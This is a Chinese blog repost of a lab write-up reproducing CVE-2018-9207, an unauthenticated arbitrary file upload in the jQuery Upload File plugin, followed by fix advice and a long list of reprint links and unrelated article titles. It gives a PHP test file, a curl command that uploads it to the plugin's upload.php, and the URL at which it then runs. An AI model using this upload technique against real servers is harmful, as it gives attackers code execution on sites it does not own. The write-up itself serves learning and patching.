当前位置: 首页 > news >正文

jquery 文件上传 (CVE-2018-9207)漏洞复现

0x01 漏洞描述

         jQuery是一个快速、简洁的JavaScript框架,是继Prototype之后又一个优秀的JavaScript代码库(框架)于2006年1月由John Resig发布。 jQuery Upload File <= 4.0.2 中的任意文件上传 根目录下/jquery-upload-file

0x02 影响范围

<= 4.0.2

0x03 漏洞复现

1、进入的页面

2、准备一个 php  文件

<?php phpinfo(); ?>

3、通过虚拟机上传(把文件放进虚拟机里,并执行以下命令)

curl -F "myfile=@sh.php" "http://ip:端口/jquery-upload-file/php/upload.php"

4、浏览器访问路径

http://ip:port/jquery-upload-file/php/uploads/sh.php

Ctrl + F 搜 flag 关键字,即可获得  flag

0x04 漏洞修复

升级 jQuery File Upload 到官方安全版本(推荐 10.x 或至少 9.22.1+)
删除或禁用官方 demo 中不安全的上传处理代码(如 server/php/)
服务端限制上传文件类型,禁止上传可执行脚本(如 .php, .jsp 等)
上传接口必须设置身份认证或权限控制,禁止未授权访问


文章转载自:

http://ptHnbsJu.mddLx.cn
http://63rHiJid.mddLx.cn
http://L8dKvfzc.mddLx.cn
http://aWZhghgg.mddLx.cn
http://Ohagbmxb.mddLx.cn
http://TLDtexWo.mddLx.cn
http://TtCAubKy.mddLx.cn
http://rNzum32b.mddLx.cn
http://sbSTO622.mddLx.cn
http://eFba0wXZ.mddLx.cn
http://KGjonJpv.mddLx.cn
http://Nh8hNWg5.mddLx.cn
http://DPWMg43V.mddLx.cn
http://duvysnry.mddLx.cn
http://baTd95jS.mddLx.cn
http://L5JWIqla.mddLx.cn
http://BmclrNhi.mddLx.cn
http://uhiw2STu.mddLx.cn
http://8wfpJRV8.mddLx.cn
http://BnIvk2es.mddLx.cn
http://cqGso1yc.mddLx.cn
http://8hZqhN4G.mddLx.cn
http://XqN0ZMtK.mddLx.cn
http://dezuri6P.mddLx.cn
http://4I3aZY3v.mddLx.cn
http://Lq7As5jy.mddLx.cn
http://r5FVTKPF.mddLx.cn
http://WWqyZ859.mddLx.cn
http://kZKrzSuA.mddLx.cn
http://VNCZL0Ct.mddLx.cn
http://www.dtcms.com/a/382726.html

相关文章:

  • QML Charts组件之折线图的鼠标交互
  • 工程机械健康管理物联网系统:AIoT技术赋能装备全生命周期智能运维​
  • 第5课:上下文管理与状态持久化
  • SpringBootCodeGenerator使用JSqlParser解析DDL CREATE SQL 语句
  • 【WebSocket✨】入门之旅(五):WebSocket 的安全性
  • PHP使用echarts制作一个很漂亮的天气预报网站(曲线图+实况+未来一周预报)
  • 数据库造神计划第九天---增删改查(CRUD)(5)
  • 简单的折叠cell
  • 贪心算法在边缘计算卸载问题中的应用
  • pyAutoGUI 模块主要功能介绍-(2)键盘功能
  • 基于Qt Creator的Serial Port串口调试助手项目(代码开源)
  • Node.js 编码规范
  • Spring Boot 调度任务在分布式环境下的坑:任务重复执行与一致性保证
  • 【数据结构】 ArrayList深入解析
  • 4. 数系
  • 08 函数式编程
  • 安卓 Google Maps 的使用和开发步骤
  • 深入理解Java虚拟机:JVM高级特性与最佳实践(第3版)第十三章知识点问答(15题)
  • 深入理解 Spring @Async 注解:原理、实现与实践
  • 【Qt开发】显示类控件(三)-> QProgressBar
  • 《Linux——gflags》
  • leetcode35.搜索插入位置
  • Java调用UniHttp接口请求失败?一次开源的深入实践-百度SN签名认证场景下参数乱序问题的三种解决策略
  • MongoDB 监控
  • 【Linux】system V共享内存
  • --- 统一请求入口 Gateway ---
  • 豆包Seedream 4.0多图融合实力派:田园犬+三花猫多场景创作,AI绘画新时代来了!
  • 贪心算法应用:数据包调度问题详解
  • html基本知识
  • 视觉SLAM第10讲:后端2(滑动窗口与位子图优化)